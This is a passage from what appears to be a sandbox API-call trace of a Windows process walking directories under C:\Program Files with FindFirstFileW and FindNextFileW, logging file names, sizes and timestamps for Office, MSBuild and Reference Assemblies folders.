hFindFile=0x4191580, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.589] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xca60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB10.BDR", cAlternateFileName="")) returned 1 [0143.591] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0143.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0143.592] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aef100, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aef100, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xddf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0143.592] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0143.593] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.593] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCSBAR.POC", cAlternateFileName="")) returned 1 [0143.609] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0143.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0143.610] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0143.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0143.712] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.712] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49110e00, ftCreationTime.dwHighDateTime=0x1bf97c1, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49110e00, ftLastWriteTime.dwHighDateTime=0x1bf97c1, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Currency Rates.iqy", cAlternateFileName="MSNMON~1.IQY")) returned 1 [0143.713] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0143.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0143.796] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xc568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECALL.DLL", cAlternateFileName="")) returned 1 [0143.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0144.024] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.024] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc114b600, ftCreationTime.dwHighDateTime=0x1c307de, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc114b600, ftLastWriteTime.dwHighDateTime=0x1c307de, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVSAMP.XLS", cAlternateFileName="")) returned 1 [0144.024] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0144.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0144.025] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6629a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x8f968, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0144.033] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0144.088] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.088] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0144.088] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0144.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41a42a8 | out: hHeap=0x300000) returned 1 [0144.088] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8d5600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xde61b8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e8d5600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x3bb598, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0144.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0144.090] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.091] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0144.091] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0144.263] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.270] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6e4b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50526960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1d6e4b00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTDIR_M.VST", cAlternateFileName="")) returned 1 [0145.155] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0145.279] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.279] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0145.280] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0145.280] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.280] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0145.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0145.281] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.281] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0145.281] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0145.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60498 | out: hHeap=0x300000) returned 1 [0145.282] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0145.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0145.282] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.282] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0145.282] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0145.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60498 | out: hHeap=0x300000) returned 1 [0145.283] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0145.283] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0145.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0145.283] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0145.283] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0145.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0145.283] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0145.283] FindClose (in: hFindFile=0x4191140 | out: hFindFile=0x4191140) returned 1 [0145.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4216be0 | out: hHeap=0x300000) returned 1 [0145.283] FindNextFileW (in: hFindFile=0x41910c0, lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0145.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0145.438] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.438] 